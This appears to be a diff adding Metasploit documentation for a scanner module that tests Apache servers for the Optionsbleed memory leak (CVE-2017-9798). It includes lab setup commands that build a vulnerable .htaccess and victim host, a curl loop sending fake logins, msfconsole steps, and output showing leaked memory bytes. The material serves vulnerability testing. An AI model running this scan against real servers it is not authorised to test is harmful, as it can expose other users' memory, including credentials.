|
| 1 | +## Description |
| 2 | + |
| 3 | +This module scans for the Apache optionsbleed vulnerability where the Allow response header |
| 4 | +returned from an OPTIONS request may bleed memory if the server has a .htaccess file |
| 5 | +with an invalid Limit method defined. |
| 6 | + |
| 7 | +### Vulnerable Application Setup |
| 8 | + |
| 9 | +This setup is slightly more complex than a default instance, but potentially gives more interesting results. It is more or less based on a |
| 10 | +blog post by [securitysift.com](https://www.securitysift.com/testing-optionsbleed/). |
| 11 | + |
| 12 | +This setup was performed on an Ubuntu 16.04 server with apache 2.4.18-2ubuntu3.1. |
| 13 | +Apache was patched in [2.4.18-2ubuntu3.5](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9798.html) |
| 14 | + |
| 15 | +1. First thing we'll do is create 2 virtual host directories with content |
| 16 | + |
| 17 | + ``` |
| 18 | + sudo mkdir -p /var/www/html/s1 |
| 19 | + sudo mkdir -p /var/www/html/s2 |
| 20 | + |
| 21 | + echo "<Limit method0 method1 method2 method3 method4 method5> |
| 22 | + Allow from all |
| 23 | + </Limit>" | sudo tee /var/www/html/s1/.htaccess |
| 24 | + |
| 25 | + echo " |
| 26 | + <html> |
| 27 | + <h1>Attacker</h1> |
| 28 | + </html> |
| 29 | + " | sudo tee /var/www/html/s1/index.html |
| 30 | + |
| 31 | + echo " |
| 32 | + <?php |
| 33 | + \$user = \$_POST[\"username\"]; |
| 34 | + \$pwd = \$_POST[\"password\"]; |
| 35 | + \$otherdata = \$_POST[\"otherdata\"]; |
| 36 | + ?> |
| 37 | + <form action=\"index.php\" method=\"POST\"> |
| 38 | + Otherdata: <input type=\"text\" name=\"otherdata\"><br> |
| 39 | + Username: <input type=\"text\" name=\"username\"><br> |
| 40 | + Password: <input type=\"text\" name=\"password\"><br> |
| 41 | + <input type=\"submit\" value=\"Submit\"> |
| 42 | + </form> |
| 43 | + " | sudo tee /var/www/html/s2/index.php |
| 44 | + ``` |
| 45 | +
|
| 46 | +2. Now we'll modify apache to have 2 virtual hosts, an attacker on port 80 and victim on port 81 |
| 47 | +
|
| 48 | + ``` |
| 49 | + sudo echo "Listen 80 |
| 50 | + Listen 81 |
| 51 | + |
| 52 | + <VirtualHost *:81> |
| 53 | + #victim |
| 54 | + DocumentRoot /var/www/html/s2 |
| 55 | + ErrorLog \${APACHE_LOG_DIR}/error_victim.log |
| 56 | + CustomLog \${APACHE_LOG_DIR}/access_victim.log combined |
| 57 | + </VirtualHost> |
| 58 | + <VirtualHost *:80> |
| 59 | + #attacker |
| 60 | + DocumentRoot /var/www/html/s1 |
| 61 | + ErrorLog \${APACHE_LOG_DIR}/error_attacker.log |
| 62 | + CustomLog \${APACHE_LOG_DIR}/access_attacker.log combined |
| 63 | + <Directory /var/www/html/s1> |
| 64 | + AllowOverride All |
| 65 | + </Directory> |
| 66 | + </VirtualHost> |
| 67 | + " | sudo tee /etc/apache2/sites-enabled/000-default.conf |
| 68 | + ``` |
| 69 | +
|
| 70 | +3. Restart the service |
| 71 | +
|
| 72 | + ```sudo service apache2 restart``` |
| 73 | +
|
| 74 | +4. We'll want to generate some traffic to the victim, so we'll use an infinite loop to send fake login requests |
| 75 | +
|
| 76 | + ``` |
| 77 | + while true; do curl -d "otherdata=otherdata&username=admin&password=passw0rd" -X POST -s http://[IP]:81/index.php > /dev/null; done |
| 78 | + ``` |
| 79 | +
|
| 80 | +Now you have 2 virtual hosts, a vulnerable `.htaccess` file on port 80 in root, and memory being churned to simulate a live host. |
| 81 | +
|
| 82 | +## Verification Steps |
| 83 | +
|
| 84 | +1. Do: ```use auxiliary/scanner/http/apache_optionsbleed``` |
| 85 | +2. Do: ```set RHOSTS [IP]``` |
| 86 | +3. Do: ```set RPORT [PORT]``` |
| 87 | +4. Do: ```run``` |
| 88 | +
|
| 89 | +## Scenarios |
| 90 | +
|
| 91 | +### Using the setup mentioned previously |
| 92 | +
|
| 93 | +``` |
| 94 | +[*] Processing optionsbleed.rc for ERB directives. |
| 95 | +resource (optionsbleed.rc)> use auxiliary/scanner/http/apache_optionsbleed |
| 96 | +resource (optionsbleed.rc)> set rhosts 192.168.2.104 |
| 97 | +rhosts => 192.168.2.104 |
| 98 | +resource (optionsbleed.rc)> set threads 10 |
| 99 | +threads => 10 |
| 100 | +resource (optionsbleed.rc)> run |
| 101 | +[+] Request 1: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST |
| 102 | +[+] Request 2: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST |
| 103 | +[+] Request 3: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,POST |
| 104 | +[+] Request 4: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST |
| 105 | +[+] Request 5: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 106 | +[+] Request 6: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,8�)�~,HEAD,��,�~,HEAD,POST |
| 107 | +[+] Request 7: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 108 | +[+] Request 8: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 109 | +[+] Request 9: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,���~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 110 | +[+] Request 10: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 111 | +[+] Request 11: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST |
| 112 | +[+] Request 13: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 113 | +[+] Request 14: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST |
| 114 | +[+] Request 15: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,8�)�~,HEAD,POST |
| 115 | +[+] Request 16: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 116 | +[+] Request 18: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST |
| 117 | +[+] Request 19: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,,HEAD,�T�~,�4�~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,,HEAD,POST |
| 118 | +[+] Request 20: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�T�~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST |
| 119 | +[+] Request 21: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�4�~,,HEAD,8�)�~,HEAD,��,�~,HEAD,POST |
| 120 | +[+] Request 22: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST |
| 121 | +[+] Request 23: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,�4�~,���~,8�)�~,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,POST |
| 122 | +[+] Request 24: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST |
| 123 | +[+] Request 25: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,�T�~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,POST |
| 124 | +[+] Request 26: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,,HEAD,��)�~,HEAD,,HEAD,POST |
| 125 | +[+] Request 27: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,�4�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 126 | +[+] Request 28: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,allow,HEAD,POST |
| 127 | +[+] Request 29: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,��~,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,��)�~,HEAD,POST |
| 128 | +[+] Request 30: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�4�~,8�)�~,HEAD,POST |
| 129 | +[+] Request 31: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,�T�~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST |
| 130 | +[+] Request 32: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,,HEAD,�4�~,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,POST |
| 131 | +[+] Request 33: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 132 | +[+] Request 34: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,���~,�4�~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 133 | +[+] Request 35: [OptionsBleed Response] -> GET,HEAD,OPTIONS,,HEAD,���~,���~,���~,,HEAD,,HEAD,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,,HEAD,POST |
| 134 | +[+] Request 36: [OptionsBleed Response] -> GET,HEAD,OPTIONS,��~,�4�~,���~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,��,�~,HEAD,��,�~,HEAD,��,�~,HEAD,��)�~,HEAD,POST |
| 135 | +[+] Request 38: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,8�)�~,HEAD,8�)�~,HEAD,POST |
| 136 | +[+] Request 39: [OptionsBleed Response] -> GET,HEAD,OPTIONS,���~,���~,��~,8�)�~,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,,HEAD,,HEAD,POST |
| 137 | +[+] Request 40: [OptionsBleed Response] -> GET,HEAD,OPTIONS,�T�~,���~,,HEAD,8�)�~,HEAD,8�)�~,HEAD,,HEAD,��,�~,HEAD,,HEAD,allow,HEAD,,HEAD,,HEAD,POST |
| 138 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 139 | +[*] Auxiliary module execution completed |
| 140 | +``` |
| 141 | +
|
| 142 | +## Cleanup |
| 143 | +
|
| 144 | +If the server is NOT vulnerable, the apache error logs will contain an entry similar to this: |
| 145 | +
|
| 146 | +``` |
| 147 | +[Wed Sep 27 19:54:43.183978 2017] [core:alert] [pid 17659] [client 2.2.2.2:43546] /var/www/html/s1/.htaccess: Could not register method 'method0' for <Limit from .htaccess configuration, referer: http://1.1.1.1/ |
| 148 | +``` |
0 commit comments